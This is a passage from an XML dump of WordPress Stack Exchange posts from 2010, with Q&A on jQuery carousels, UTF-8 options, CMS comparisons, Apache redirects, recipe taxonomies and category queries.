your &lt;code&gt;ready&lt;/code&gt; handler will be the jQuery object itself. This means that you can write your handler like &lt;code&gt;function($) {}&lt;/code&gt;, and you can use &lt;code&gt;$&lt;/code&gt; inside of your function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your code would become something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function ($) {&#xA;    function mycarousel_initCallback(carousel) {&#xA;        jQuery('.jcarousel-control a').bind('click', function() {&#xA;            carousel.scroll(jQuery.jcarousel.intval(jQuery(this).text()));&#xA;            return false;&#xA;        });&#xA;&#xA;        jQuery('.jcarousel-scroll select').bind('change', function() {&#xA;            carousel.options.scroll = jQuery.jcarousel.intval(this.options[this.selectedIndex].value);&#xA;            return false;&#xA;        });&#xA;&#xA;        // Next Button&#xA;        $('#mycarousel-next').bind('click',&#xA;        function() {&#xA;            carousel.next();&#xA;            return false;&#xA;        });&#xA;&#xA;        // Prev Button&#xA;        $('#mycarousel-prev').bind('click',&#xA;        function() {&#xA;            carousel.prev();&#xA;        return false;&#xA;        });&#xA;    };&#xA;&#xA;    // We are already in the 'ready' event handler, no need to hook into it again&#xA;    // Just add our code here!&#xA;    var gallery = $('#thumbs').galleriffic({&#xA;        delay:                     3000, // in milliseconds&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you have more pure JavaScript questions, you might want to ask them on our &quot;parent&quot; site, &lt;a href=&quot;http://stackoverflow.com/&quot;&gt;Stack Overflow&lt;/a&gt;. They have &lt;a href=&quot;http://stackoverflow.com/questions/tagged/jquery&quot;&gt;lots of jQuery expertise&lt;/a&gt; there.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-05T09:00:57.993" />
  <row Id="3678" PostTypeId="2" ParentId="1900" CreationDate="2010-11-05T09:40:08.003" Score="1" ViewCount="" Body="&lt;p&gt;See my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3097/how-can-i-add-a-url-field-to-the-attachments-window/3108#3108&quot;&gt;answer on question 3097&lt;/a&gt; for a possible solution. &lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-11-05T09:40:08.003" />
  <row Id="3679" PostTypeId="1" AcceptedAnswerId="3684" CreationDate="2010-11-05T10:13:21.693" Score="2" ViewCount="98" Body="&lt;p&gt;I am using a plugin the updates the option table using update_option command.&#xA;When I update content with hebrew characters it turns into gibrish.&#xA;My database does support hebrew (or any other utf8  chars). &#xA;Is there any workaround? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1090" LastActivityDate="2010-11-05T10:58:48.420" Title="update_option method with support of utf8" Tags="&lt;options&gt;" AnswerCount="2" />
  <row Id="3680" PostTypeId="1" AcceptedAnswerId="3686" CreationDate="2010-11-05T10:20:14.660" Score="9" ViewCount="367" Body="&lt;p&gt;I have a client who wants to use Joomla, because they were told it was good. I'm trying to convince them that WordPress is a much more user-friendly option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've played with Joomla (and Drupal) once before, and I found the learning curve incredibly steep (probably due to their obscure terminology). I consider myself quite technically savvy, and if I found it hard, I'm sure my less technically competent clients will find it even more obscure and difficult to learn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I have yet to come across anything a client would need that couldn't be done in WordPress, but before I tell them that, I wanted to check that this is, indeed, the case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything that Joomla or Drupal can do that WordPress can't (especially now with custom post types in WP 3+)?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2010-12-07T02:48:16.963" Title="Is there anything that Joomla or Drupal can do that can't be done in WordPress?" Tags="&lt;3.0&gt;&lt;cms&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="5" />
  <row Id="3681" PostTypeId="2" ParentId="3578" CreationDate="2010-11-05T10:40:06.173" Score="0" ViewCount="" Body="&lt;p&gt;Another approach would be unregister the metabox, then re-register that same box with differing values, namingly the publish text..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the discussion i had &lt;a href=&quot;http://wordpress.org/support/topic/how-to-change-default-meta-box-locations?replies=6&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; regarding moving a meta box, you should be able to apply something similar to rename that Publish text.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-05T10:40:06.173" />
  <row Id="3682" PostTypeId="2" ParentId="1680" CreationDate="2010-11-05T10:45:46.433" Score="1" ViewCount="" Body="&lt;p&gt;Now this one was really really hard to notice bug. I basically brutforced it by cutting/pasting blocks of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short - &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/tumblrize/tags/1.4.2/tumblrize.php#L462&quot; rel=&quot;nofollow&quot;&gt;line 462&lt;/a&gt; has wrong code opening tag &lt;code&gt;&amp;lt;?&lt;/code&gt; instead of &lt;code&gt;&amp;lt;?php&lt;/code&gt;. Which causes some kind of cascading tag mismatch, which seems to go unnoticed by any kind of syntax checker, but wreaks havoc on execution.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-11-05T10:52:55.647" LastActivityDate="2010-11-05T10:52:55.647" CommentCount="2" />
  <row Id="3683" PostTypeId="2" ParentId="3671" CreationDate="2010-11-05T10:49:40.643" Score="0" ViewCount="" Body="&lt;p&gt;I personally find the CSS method to be suitable..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/322929/word-wrap-in-css-js&quot;&gt;http://stackoverflow.com/questions/322929/word-wrap-in-css-js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the answer provided by Jake Scott.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-05T10:49:40.643" />
  <row Id="3684" PostTypeId="2" ParentId="3679" CreationDate="2010-11-05T10:58:39.720" Score="4" ViewCount="" Body="&lt;p&gt;Chances is are that the content-type/charset header is not being sent, and that you end up reading the utf8 chars as if they were latin-1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that serialize()/unserialize() are not multibyte character-safe. For a subset of characters, the string's length as returned by serialize() will occasionally differ from the expected length as it would be returned by mb_strlen(). This leads to all sorts of hard to debug unserialize problems which, since around WP 2.8, WP tries to discard in order to avoid crashing sites.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-05T10:58:39.720" CommentCount="1" />
  <row Id="3685" PostTypeId="2" ParentId="3679" CreationDate="2010-11-05T10:58:48.420" Score="2" ViewCount="" Body="&lt;p&gt;As far as I know WordPress is perfectly UTF8-aware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This test code (hope I got string right, copied from Wikipedia) works fine for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$hebrew = 'עִבְרִית';&#xA;update_option('hebrew',$hebrew);&#xA;var_dump(get_option('hebrew'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your issue is likely caused by some other processing done on string by plugin.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-05T10:58:48.420" CommentCount="1" />
  <row Id="3686" PostTypeId="2" ParentId="3680" CreationDate="2010-11-05T11:41:16.577" Score="9" ViewCount="" Body="&lt;p&gt;If memory serves, Drupal's lead dev summed things up like so last summer: Drupal is, on the UI front, where WP was 3 years ago; and WP is, on the feature front, where Drupal was 3 years ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My own experience with WP and Drupal are basically so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WP has a prettier/easier UI.&lt;/li&gt;&#xA;&lt;li&gt;Drupal is more robust: core and add-on devs are rarely writing code to learn PHP.&lt;/li&gt;&#xA;&lt;li&gt;WP is still stuck in old PHP4 paradigms. Drupal isn't.&lt;/li&gt;&#xA;&lt;li&gt;WP development is still not unit-test driven. Code quality is, at best, inconsistent.&lt;/li&gt;&#xA;&lt;li&gt;Drupal is mostly EAV-driven. This makes things much more flexible... and slow for anything requiring complex queries. (Drupal compensates this by having built-in caching.) WP is heading in the same direction.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can't really say for Joomla. I dismissed it years ago because I hated the UI. But everyone here probably has a trustworthy friend who is very happy with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to what I tend to use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For a blog or a simple brochure-like site, definitely WP.&lt;/li&gt;&#xA;&lt;li&gt;For a slightly more complex site, also WP -- but an inner voice always tells me I should be using Drupal instead.&lt;/li&gt;&#xA;&lt;li&gt;For anything really complex and mission critical, a unit-test driven PHP framework (Symfony, Solar, Yii...). UI will end up so so, but I like to sleep at night.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-05T11:41:16.577" CommentCount="1" />
  <row Id="3687" PostTypeId="2" ParentId="3671" CreationDate="2010-11-05T11:59:35.013" Score="1" ViewCount="" Body="&lt;p&gt;Perishable Press has extensive &lt;a href=&quot;http://perishablepress.com/press/2009/11/09/perfect-pre-tags/&quot; rel=&quot;nofollow&quot;&gt;tutorial on styling &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; tags&lt;/a&gt;, including nifty auto-expand on hover for long lines.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-05T11:59:35.013" />
  <row Id="3688" PostTypeId="2" ParentId="3680" CreationDate="2010-11-05T12:14:51.473" Score="6" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Amanda&lt;/strong&gt; - I evaluated Joomla, Drupal and WordPress over 3 years ago. Joomla had serious issues that caused me to drop it early and never revisit it. It's architecture is complex and rigid, at least it was 3.5 years ago. For example a content item was tied to a menu item; you couldn't easily mix-and-match, and their URL structure is of the 90's era variety that make these easy on the programming but hard on the user and hard on the SEO. And From what I've heard Joomla has not changed much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.5 years ago I picked Drupal and worked with it for 2 years. Then I took on a WordPress project with the intent to return to Drupal. By the end of the project I realized that I had zero desire to return to Drupal as it was just painful to work with.  Then about 6 months later I got offered a great hourly rate to work on Drupal project only to finish the first phase for the client and tell them they needed to get someone else because I wasn't going to work with Drupal ever again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could go in depth, but suffice it to say that you can get 85% done in Drupal in 1/3rd the time it takes with WordPress, but then the last 15% takes 10-25 times as long.  With WordPress the first 85% take a bit longer than Drupal but the remaining 15% is usually only about 3x more difficult, not 10x to 25x more.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;One of the key things I notice that Drupal has WordPress doesn't is Views and an admin UI for created custom content types. However, after working with WordPress I'd far rather do it the WordPress way than the Drupal way because, while it requires code, WordPress' way is much more straight forward and performant. &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-11-05T12:14:51.473" />
  <row Id="3689" PostTypeId="2" ParentId="3097" CreationDate="2010-11-05T12:29:25.563" Score="0" ViewCount="" Body="&lt;p&gt;Will these fields be displayed in the WP Flash and browser uploaders?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking for a way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" LastActivityDate="2010-11-05T12:29:25.563" CommentCount="1" />
  <row Id="3690" PostTypeId="2" ParentId="3670" CreationDate="2010-11-05T12:31:48.243" Score="1" ViewCount="" Body="&lt;p&gt;My suggestion would be to only store the ingredient names as a custom taxonomy and store everything else about how the ingredients map to the recipe in meta.  So you would end up linking a recipe to both the eggs and flour ingredient terms but also saving post meta that would be a serialized array of '{ingredient term id}' =&gt; object['quantity'=&gt;{value}, 'unit'=&gt;{unit type}].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should allow you to easily rebuild the original ingredient list while also an easy way to pull in recipes by an ingredient.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-05T12:31:48.243" CommentCount="1" />
  <row Id="3691" PostTypeId="2" ParentId="3636" CreationDate="2010-11-05T13:16:51.277" Score="1" ViewCount="" Body="&lt;p&gt;You can do the redirection in one step or in two steps. The one step solution redirect all traffic directly to the correct URL on the new server, the two step solution simply redirects all traffic to the same path on the new server, and let the new server figure out the correct path after that. I don't know whether there is a SEO penalty with two redirects, maybe you should ask this on the related &lt;a href=&quot;http://webmasters.stackexchange.com/&quot;&gt;Pro Webmasters Stack Exchange&lt;/a&gt; site.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Redirect in two steps&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In two steps is probably the easiest to set up: you redirect all traffic to &lt;code&gt;site1.com/some/path&lt;/code&gt; to &lt;code&gt;sub1.site2.com/some/path&lt;/code&gt;, and let the second site figure out the correct destination, for example with &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;the Redirection plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can configure the first redirect in Apache, with a simple &lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/mod_alias.html#redirect&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Redirect&lt;/code&gt; rule&lt;/a&gt; in your server configuration (&lt;code&gt;.htaccess&lt;/code&gt;, or &lt;code&gt;httpd.conf&lt;/code&gt; or related):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 / http://sub1.site2.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also do this in PHP, but for such a simple redirection it would be overkill.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Redirect in one step&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to redirect in one step your old server should know the new location of all URLs. For your posts this seems to be easy (only the date is stripped?), but what about the category and archive pages? Anyway, you can also do this in Apache with a &lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/mod_alias.html#redirectmatch&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;RedirectMatch&lt;/code&gt; rule&lt;/a&gt; and a simple regular expression. Basically you want to match all URLs that start with a year and a month and then some stuff, and redirect them to the new site + some stuff. &lt;code&gt;\d&lt;/code&gt; means &quot;a digit&quot;, &lt;code&gt;{4}&lt;/code&gt; means &quot;repeated 4 times&quot;, &lt;code&gt;.&lt;/code&gt; means &quot;any character&quot;, and &lt;code&gt;+&lt;/code&gt; means &quot;repeated one or more times&quot;. The &lt;code&gt;()&lt;/code&gt; &quot;collect&quot; the match, so we can use it in the replacement (as &lt;code&gt;$1&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 /\d{4}/\d{2}/(.+) http://sub1.site2.com/posts/$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can combine both rules, so posts get redirected in one step and everything else in two steps. The first rule that matches is executed, so place the regex rule on top.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-05T13:16:51.277" CommentCount="3" />
  <row Id="3692" PostTypeId="2" ParentId="3664" CreationDate="2010-11-05T13:20:04.020" Score="1" ViewCount="" Body="&lt;p&gt;Can you clarify that a bit? It already allows for uploading of an image to be used as the category image. Are you looking to attach another image to the category for some other reason?&lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2010-11-05T13:20:04.020" CommentCount="5" />
  <row Id="3693" PostTypeId="2" ParentId="3670" CreationDate="2010-11-05T13:42:04.133" Score="2" ViewCount="" Body="&lt;p&gt;It's a good idea to use a custom taxonomy to link your ingredients, as this will allow you to get recipes by ingredient. This also means you don't have to store each individual ingredient as a separate meta key-value pair, as you won't do any lookups there. Just store one big object, &lt;code&gt;ingredients&lt;/code&gt;, as an ordered list of ingredients and their quantities and units. Read it out when you display the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ingredients = array(&#xA;    'eggs' =&amp;gt; array(4),&#xA;    'whole wheat flour' =&amp;gt; array(1, 'cup'),&#xA;    'baking powder' =&amp;gt; array(1.5, 'teaspoon'),&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also use the ingredient slug or id as the index of the array, then you can cross link from the ingredient list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By separating the number and the units, you can adjust the numbers for number of guests. Say your default is 4 and I have 6 guests, you just multiply everything by 1.5. You can even include a US to metric conversion! But I'll stop before this becomes a &lt;a href=&quot;http://cooking.stackexchange.com/&quot;&gt;Seasoned Advice&lt;/a&gt; question!&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-05T13:42:04.133" CommentCount="1" />
  <row Id="3694" PostTypeId="1" AcceptedAnswerId="3695" CreationDate="2010-11-05T13:56:59.970" Score="0" ViewCount="349" Body="&lt;p&gt;Is it now possible to query multiple categories from the URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mywpsite.com/?cat=1+7&quot; rel=&quot;nofollow&quot;&gt;http://www.mywpsite.com/?cat=1+7&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this has worked for &lt;a href=&quot;http://wpguy.com/articles/multiple-tag-category-queries/&quot; rel=&quot;nofollow&quot;&gt;tags for some time&lt;/a&gt;. If not, is there another way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-11-05T16:57:40.397" Title="Have multiple category queries from the URL been fixed yet?" Tags="&lt;categories&gt;&lt;tags&gt;&lt;urls&gt;" AnswerCount="3" />
  <row Id="3695" PostTypeId="2" ParentId="3694" CreationDate="2010-11-05T14:33:35.833" Score="3" ViewCount="" Body="&lt;p&gt;If you have a feature request for WordPress, the best way to get it addressed is to add a ticket on Trac.  Then developers can adopt the task, patch WordPress, and submit the improvements to the next version.  If a &lt;a href=&quot;http://trac.wordpress.org&quot; rel=&quot;nofollow&quot;&gt;Trac&lt;/a&gt; ticket has already been created for a particular feature, you can comment on it to weigh in and follow the subsequent discussion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last time I checked, there was a ticket for querying multiple terms in a taxonomy (tags, categories, or custom) at the same time: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12891&quot; rel=&quot;nofollow&quot;&gt;Ticket #12891&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the ticket, the project is scheduled to be included in WP 3.1.  But we won't know for sure until the first release candidate comes out.  According to the &lt;a href=&quot;http://wpdevel.wordpress.com/2010/09/03/process-and-scope-for-3-1-part-i/&quot; rel=&quot;nofollow&quot;&gt;last scope update before the feature freeze&lt;/a&gt;, this &lt;em&gt;is&lt;/em&gt; going to be included in 3.1 ... but it won't be &quot;fixed&quot; until 3.1 is actually released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use the feature now, you have a couple of options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can download the actual patches from Trac and patch your WordPress installation to add the new functionality.  I wouldn't recommend this because they may or may not depend on other 3.1 improvements that aren't included explicitly in these patches (i.e. improvements added by other tickets).&lt;/li&gt;&#xA;&lt;li&gt;Install the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-beta-tester/&quot; rel=&quot;nofollow&quot;&gt;WordPress Beta Tester&lt;/a&gt; plug-in and upgrade to version 3.1-alpha.  This would be the &lt;em&gt;safest&lt;/em&gt; way to use the new feature, &lt;strong&gt;but still might cause problems!&lt;/strong&gt;  WordPress 3.1 isn't considered &quot;stable&quot; yet and some of the features/code might (will definitely) change before the final release date.  There's no guarantee that the latest nightly build will be bug-free.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-05T14:33:35.833" CommentCount="1" />
  <row Id="3696" PostTypeId="2" ParentId="3694" CreationDate="2010-11-05T14:35:33.980" Score="1" ViewCount="" Body="&lt;p&gt;If you specify multiple &lt;strong&gt;category ID's separated by commas&lt;/strong&gt;, they will be combined in &lt;code&gt;category__in&lt;/code&gt; (or &lt;code&gt;category__not_in&lt;/code&gt; if the ID is negative). &lt;code&gt;category__in&lt;/code&gt; means the post must be in &lt;em&gt;at least one&lt;/em&gt; of the specified categories (an &lt;strong&gt;OR&lt;/strong&gt; query). &lt;code&gt;category__not_in&lt;/code&gt; means the post must not be in one of the specified categories. The relevant code can be found in &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/query.php#L1878&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-includes/query.php&lt;/code&gt;, lines 1871 to 1909&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;tags&lt;/strong&gt; you always have to work with &lt;strong&gt;slugs&lt;/strong&gt;. If you separate them with &lt;strong&gt;commas&lt;/strong&gt;, they end up in &lt;code&gt;tag_slug__in&lt;/code&gt;, if you do it with &lt;strong&gt;plus signs&lt;/strong&gt; they go into &lt;code&gt;tag_slug__and&lt;/code&gt;. This means if you want an &lt;strong&gt;OR&lt;/strong&gt; query you combine them with comma's, if you want an &lt;strong&gt;AND&lt;/strong&gt; query you do it with plus signs. Here the relevant code starts at &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/query.php#L1946&quot; rel=&quot;nofollow&quot;&gt;line 1946&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-05T14:35:33.980" CommentCount="2" />
  <row Id="3697" PostTypeId="2" ParentId="1567" CreationDate="2010-11-05T15:19:07.750" Score="3" ViewCount="" Body="&lt;h2&gt;Add auto-update/plugin-installer on you localhost&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define ('FS_METHOD', 'direct');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put this in your wp-config.php.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T13:51:35.717" LastActivityDate="2011-01-26T13:51:35.717" CommunityOwnedDate="2010-11-05T15:19:07.750" CommentCount="2" />
  <row Id="3698" PostTypeId="2" ParentId="3694" CreationDate="2010-11-05T16:57:40.397" Score="1" ViewCount="" Body="&lt;p&gt;Or, you can use scribu's excellent Query Multiple Taxonomies plugin and get the functionality you want today...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-11-05T16:57:40.397" CommentCount="2" />
  <row Id="3700" PostTypeId="1" CreationDate="2010-11-05T18:53:27.083" Score="0" ViewCount="168" Body="&lt;p&gt;One would think that returning categories using wordpress functions would automatically display them in their heirarchy? Ive noticed that categories dont necessarily do this, so I am trying to find a way to make sure they are returned correctly.&lt;/p&gt;&#xA;" OwnerUserId="1426" LastActivityDate="2010-11-05T19:20:02.193" Title="how do I use the walker class to display categories in their correct heirarchy?" Tags="&lt;categories&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="3701" PostTypeId="2" ParentId="809" CreationDate="2010-11-05T19:15:22.907" Score="0" ViewCount="" Body="&lt;p&gt;I now wrote a &lt;a href=&quot;http://hakre.wordpress.com/plugins/comment-link-count/&quot; rel=&quot;nofollow&quot;&gt;complete plugin&lt;/a&gt; for this that offers the basic link counting interface for adding comments with wordpress 3.0. In addition to what John proposed I made some changes / addings based on tracing the hooks triggered by adding the comment as I wanted to get this only executed when a new comment is actually added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I therefore did chose the &lt;code&gt;comment_text&lt;/code&gt; instead of  the &lt;code&gt;pre_comment_content&lt;/code&gt; hook. The rest is basically the same but some sanity checks were added so that it only get's executed once and on adding a new comment only. An additional (but currently unimplemented) check would be to enable it only after the &lt;code&gt;comment_max_links&lt;/code&gt; option has been read by &lt;code&gt;get_option()&lt;/code&gt;(the &lt;code&gt;pre_option_comment_max_links&lt;/code&gt;-hook), but as for the moment this did pass testing, I have not done it so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/comment-link-count/trunk/comment-link-count.php&quot; rel=&quot;nofollow&quot;&gt;sourcecode can be viewed online in trac&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll give the answer to John even I did not choose his suggestion as he posted the same principle here first.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-05T19:15:22.907" />
  <row Id="3702" PostTypeId="2" ParentId="3700" CreationDate="2010-11-05T19:20:02.193" Score="2" ViewCount="" Body="&lt;p&gt;There is number of functions that deal with categories. Some are meant to be used with other code and mostly deal with category objects, some are meant for displaying on front-end and outputting HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_categories()&lt;/code&gt;&lt;/a&gt; for example is meant for front-end presentation and defaults to hierarchical display.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-05T19:20:02.193" CommentCount="2" />
  <row Id="3703" PostTypeId="2" ParentId="2573" CreationDate="2010-11-05T19:55:58.540" Score="1" ViewCount="" Body="&lt;p&gt;You can't, really. When setting your boxes you can determine whether they appear below the post editor or on the side, and what their order is, but the title field and post editor are fixed in their location.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-05T19:55:58.540" CommentCount="4" />
  <row Id="3704" PostTypeId="2" ParentId="1567" CreationDate="2010-11-05T20:03:12.243" Score="4" ViewCount="" Body="&lt;h2&gt;Quickly Determine Server &amp;amp; Environment Details&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you have multiple servers and multiple environments such as development, QA, and production environments, this can be very useful.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my systems, environment is determined by the first 3 letters of the hostname, but this could easily be changed to whatever suits your needs.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_notices', 'report_environment_status', 3 );&#xA;&#xA;// Report on which server and environment details&#xA;function report_environment_status() {&#xA;    $server = php_uname('n');&#xA;    switch (strtolower(substr($server,0,3))) {&#xA;        case 'pXX':&#xA;            $msg = &quot;PRODUCTION&quot;;&#xA;            break;&#xA;        case 'qXX':&#xA;            $msg = &quot;QA&quot;;&#xA;            break;&#xA;        case 'dXX':&#xA;            $msg = &quot;DEVELOPMENT&quot;;&#xA;            break;&#xA;        default :&#xA;            $msg = 'UNKNOWN';&#xA;    }&#xA;    echo &quot;&amp;lt;div id='update-nag'&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;b&amp;gt;You are in the $msg environment. (Server: $server)&amp;lt;/b&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has saved me many times from making updates to the wrong environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also turn this into a plugin and network activate it so all sites get the notification.  &lt;/p&gt;&#xA;" OwnerUserId="1480" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-11-11T12:47:18.017" LastActivityDate="2010-11-11T12:47:18.017" CommunityOwnedDate="2010-11-05T20:03:12.243" CommentCount="2" />
  <row Id="3705" PostTypeId="2" ParentId="2333" CreationDate="2010-11-05T21:45:01.773" Score="1" ViewCount="" Body="&lt;p&gt;A &lt;a href=&quot;http://www.google.com/codesearch?hl=en&amp;amp;lr=&amp;amp;q=%22add_shortcode%28%27edit%27%22&amp;amp;sbtn=Search&quot; rel=&quot;nofollow&quot;&gt;Google code search for &lt;code&gt;&quot;add_shortcode('edit'&quot;&lt;/code&gt;&lt;/a&gt; gives me only one hit: &lt;a href=&quot;http://shailan.com/wordpress/themes/framework/&quot; rel=&quot;nofollow&quot;&gt;Shailan Theme Framework&lt;/a&gt;, with &lt;a href=&quot;http://code.google.com/p/widgetbox-theme/source/browse/trunk/framework/shailan-shortcodes.php?spec=svn109&amp;amp;r=109#547&quot; rel=&quot;nofollow&quot;&gt;an &lt;code&gt;edit&lt;/code&gt; shortcode&lt;/a&gt; that places the edit link in your content. Probably not what you want?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-05T21:45:01.773" CommentCount="1" />
